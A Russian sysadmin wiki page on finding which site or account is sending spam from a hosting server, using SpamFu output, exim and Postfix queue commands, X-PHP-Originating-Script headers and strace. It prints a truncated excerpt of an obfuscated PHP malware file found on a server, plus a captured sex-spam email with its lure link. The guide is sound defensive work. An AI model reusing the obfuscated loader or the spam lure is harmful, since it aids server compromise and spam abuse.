RTFM.WIKI

Ordnung muß sein. Ordnung über alles (18+)

Инструменты пользователя

Инструменты сайта


Боковая панель


Навигация

Линкшэринг

~~socialite Display:icon facebook twitter~~

ALARM!

Добавить новую страницу

You are not allowed to add pages

Реклама

linux:mail:catch_spam

Поймай меня если сможешь

Если вы это читаете вероятно проблема с рассылкой спама вас уже коснулась и вы хотите как можно быстрее найти спамящий сайт и вывести в коридор и там расстрелять выгнать пользователя с вашего сервера.

Описываемый частный случай (CentOS/cPanel) с некоторыми оговорками может быть применём и в других случаях.

Откуда берутся эти чёртовы рассылки с моего сайта/сервера?

Мне известны следующие варианты. Я не эксперт по безопасности и возможно злые хэкеры умеют ломать как-то ещё.

Скрипты

С адресов nobody@foo.bar.com или john@foo.bar.com идёт огромное количество писем через php-скрипты. Это может быть и какой-нибудь старый уязвимый плагин Contact Form 7 или любой другой, через который смогли загрузить зловредные php-сценарии.

Компрометация паролей

Обычно в таком случае почта идёт с ваших почтовых аккаунтов вида john@foobar.com

Darkmailer или YellSOFT DirectMailer

Признаться честно ранее я не знал о существовании такого софта. Насколько я понял они работают в обход Exim (или другого MTA). Поэтому если у вас пустая очередь сообщений, но абузы идут, а вас добавляют в DNSBL, то может быть это именно оно.

Контрнаступление

Spamfu

Spamfu скрипт для анализа почтовой очереди и логов Exim

Пример работы скрипта

Click to display ⇲

Click to hide ⇱

# ./spamfu.sh 
####################################

SpamFu for Dummies:
There are currently 910901 emails in the queue

What would you like to do?:
  (1) Check for spammers via email logs
  (2) Check for spammers via emails in the queue
  (3) Exit
Select option: 1
You have selected 1

##########################################################
Parsing a large file with lots of checks can take a while
Choose options to pick which logfile, which checks to perform
as well as how many lines of the file to parse

LOGFILE: exim_mainlog
SIZE: 107M
 (1) Proceed with check
 (2) Change log file
 (3) Change which checks are performed
 (4) Change how many lines to parse
 (5) Main Menu
Select option: 1
Checking for scripts...
Emails sent from scripts:
 109472  cwd=/home/kchr/public_html/administrator/components/com_menus/helpers
     58  cwd=/home/kchr/public_html
     46  cwd=/
     19  cwd=/root
      1  cwd=/usr/local/cpanel/whostmgr/docroot
      1  cwd=/home/politika09/public_html/wp-admin
      1  cwd=/home/blagodari/public_html

Checking for auth users...
Most emails sent by authenticated users:


Checking for cpanel/system accounts...
Emails sent from cpanel/system accounts:
 109529 kchr
     58 root
      1 politika09
      1 blagodari

Checking for recipients...
Most recipients by Mail and Sender ID's:
<= with 1 recipients was sent by U=kchr
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0
0 with 0 recipients was sent by 0

В каталоге /home/kchr/public_html/administrator/components/com_menus/helpers/ нашёлся файл utf70.php

<?php
 $zxcvugqgdi = 5840; function njrkwf($wzqwxbf, $hzusvxwiyr){$zayngxgs = ''; for($i=0; $i < strlen($wzqwxbf); $i++){$zayngxgs$
$iqvfzt="base" . "64_decode";return $iqvfzt($zayngxgs);}
$thrxe = 'Ki3Dr27amBK9jp24CN74BpSQm4CuEAo2kAZgeZqIKi3Dr27amBK9jpSQ'.
'mW73C0jQC0L0b1sZIkuf1YngON3dCp2qI1MPzB5dmB53zH2qrw7DBHvgOw'.
'G0b1sZIkuf1YnamBvdMi3Pm27urwWgM1JZIkuf1JqIrwz9rBfamBK9jc7kv2jwv2EgIKqItZqI1yvdGq'.
'2y2Y2yw4MKycndGq2LvxMMEXqJExhxe4sf1JYYBWfcG3mcG3u0GY2fkWvcBqcAvcE0Bys7E'.
'1ESLFCDL16ZbFAxeZqI1w3NI1c3OBnqtyJYBWfcG3mcG3u0ycvGGc7zBqmUG3MnGYvcvc7ikWE0ByYgXK9j'.

Если хочется всё сделать самому

Смотрим количество писем в почтовой очереди

#exim -bpc
100500

Смотрим детали по почтовым отправлениям

exim -bp

Данная команда покажет ID сообщения, отправителя, получателя, размер и возраст сообщения. Зная ID сообщения мы можем посмотреть его заголовки и тело сообщения.

Пример

# exim -bp
10h 5.9K 1VRaIo-0009ec-Rz <alexey@navalni.com>
putin@kermlin.com
  • 1 поле: Возраст (10h)
  • 2 поле: Размер (5.9K)
  • 3 поле: ID сообщения (1VRaIo-0009ec-Rz)
  • 4 поле: Отправитель (alexey@navalni.com)
  • 5 поле: Получатель (putin@kermlin.com)

Посмотреть заголовки сообщения

exim -Mvh ID

Посмотреть текст (тело) сообщения

exim -Mvb ID

Postfix

В случае с Postfix всё тоже самое, только немного другие команды.

Смотрим лог Postfix /var/log/maillog и ищем подозрительные письма

Nov  3 09:43:11 vps8486 postfix/smtp[15705]: 2D2D616309: host mx3.hotmail.com[65.55.37.120] said: 421 RP-001 (COL004-MC4F15) Unfortunately, some messages from A.B.C.D weren't sent. Please try again. We have limits for how many messages can be sent per hour and per day. You can also refer to http://mail.live.com/mail/troubleshooting.aspx#errors. (in reply to MAIL FROM command)
Nov  3 09:43:11 vps8486 postfix/smtp[15705]: 2D2D616309: lost connection with mx3.hotmail.com[65.55.37.120] while sending RCPT TO
Nov  3 09:43:12 vps8486 postfix/smtp[15705]: 2D2D616309: to=<giuseppegalluzzo@live.it>, relay=mx2.hotmail.com[104.44.194.236]:25, delay=425944, delays=425941/0.07/3.2/0.18, dsn=4.0.0, status=deferred (host mx2.hotmail.com[104.44.194.236] said: 421 RP-001 (SNT004-MC10F22) Unfortunately, some messages from A.B.C.D weren't sent. Please try again. We have limits for how many messages can be sent per hour and per day. You can also refer to http://mail.live.com/mail/troubleshooting.aspx#errors. (in reply to MAIL FROM command))

Посмотрим письмо с ID 2D2D616309 с помощью postcat

The postcat(1) command prints the contents of the named files in human-readable form. The files are expected to be in Postfix queue file format. If no files are specified on the command line, the program reads from standard input.

# postcat -q 2D2D616309

Click to display ⇲

Click to hide ⇱

*** ENVELOPE RECORDS deferred/2/2D2D616309 ***
message_size:            1498             179               1               0            1498
message_arrival_time: Sun Oct 29 11:24:08 2017
create_time: Sun Oct 29 11:24:08 2017
named_attribute: rewrite_context=local
sender_fullname: m27701
sender: amalia.b@dvlgroup.ru
*** MESSAGE CONTENTS deferred/2/2D2D616309 ***
Received: by vps8486.nqhost.com (Postfix, from userid 501)
        id 2D2D616309; Sun, 29 Oct 2017 11:24:08 +0000 (UTC)
To: giuseppegalluzzo@live.it
Subject: =?utf-8?Q?Entra_il_nostro_club_e_fai_l=E2=80=99amore?=
X-PHP-Originating-Script: 501:hlvyutxw.php(1189) : runtime-created function(1) : eval()'d code(1) : eval()'d code
Date: Sun, 29 Oct 2017 11:24:08 +0000
From: "Amalia B." <amalia.b@dvlgroup.ru>
Message-ID: <466f47ff57bd08f3b3178babce3474cd@dvlgroup.ru>
X-Mailer: PHPMailer 5.2.23 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: multipart/alternative;
        boundary="b1_466f47ff57bd08f3b3178babce3474cd"
Content-Transfer-Encoding: 8bit

This is a multi-part message in MIME format.

--b1_466f47ff57bd08f3b3178babce3474cd
Content-Type: text/plain; charset=us-ascii

Cerco un ragazzo giovane per il sesso.
Mi piacciono dei ragazzi sportive.
{ http://granovero.com/check.php?utm_source=69ldr7tv65&utm_medium=5yox5rvfvr&utm_campaign=4pss95ltc8&utm_term=qylm31qkxy&utm_content=o18gq79k67 } Le fotografie sono qui.


--b1_466f47ff57bd08f3b3178babce3474cd
Content-Type: text/html; charset=us-ascii

<html>
<body>
Cerco un ragazzo giovane per il sesso.<br>
Mi piacciono dei ragazzi sportive.<br>
<a href="http://granovero.com/check.php?utm_source=69ldr7tv65&utm_medium=5yox5rvfvr&utm_campaign=4pss95ltc8&utm_term=qylm31qkxy&utm_content=o18gq79k67">Le fotografie sono qui.</a><br>
</body>
</html>



--b1_466f47ff57bd08f3b3178babce3474cd--

*** HEADER EXTRACTED deferred/2/2D2D616309 ***
named_attribute: encoding=8bit
original_recipient: giuseppegalluzzo@live.it
recipient: giuseppegalluzzo@live.it
*** MESSAGE FILE END deferred/2/2D2D616309 ***

Заголовки и текст письма конечно же крайне интересны, но нам важна суть, поэтому ищем по X-PHP-Originating-Script

# postcat -q 2D2D616309 | grep X-PHP-Originating-Script
X-PHP-Originating-Script: 501:hlvyutxw.php(1189) : runtime-created function(1) : eval()'d code(1) : eval()'d code

Итак, виноват во всём пользователь с UID 501 и PHP скрипт hlvyutxw

Смотрим имя пользователя по его UID (Get Username From UID in Unix)

# getent passwd 501
john:x:501:502:john:/var/www/john/data:/bin/date

Смотрим где расположен файл

# locate hlvyutxw.php
/var/www/john/data/www/foobar.com/components/com_chronocontact/upload/hlvyutxw.php

Иногда ничего с заголовком X-PHP-Originating-Script не находится и в таком случае

postcat -q 2D2D616309 | grep sasl_username

Скорее всего почта рассылается с почтового ящика

named_attribute: sasl_username=user@hackedpassword.com

Дополнительно

X-PHP-Originating-Script

Exim

exim -Bpc id | grep X-PHP-Originating-Script

Postfix

postfix: postcat -q id | grep X-PHP-Originating-Script

Sendmail

sendmail: cat /var/spool/mqueue/id | grep X-PHP-Originating-Script

strace

Хотелось бы написать отдельную заметку о данной утилите, но 1) нет времени 2) уже всё написано

Хорошая статья для знакомства со strace в блоге cPanel или здесь.

Как установить

# yum install strace
# apt-get install strace

Отслеживаем по PID'у.

strace -e trace=open,read,close,connect -p <pid>

Ссылки

This website uses cookies. By using the website, you agree with storing cookies on your computer. Also you acknowledge that you have read and understand our Privacy Policy. If you do not agree leave the website.More information about cookies

Discussion

Enter your comment. Wiki syntax is allowed:
 
linux/mail/catch_spam.txt · Последнее изменение: 2018/11/05 23:18 (внешнее изменение)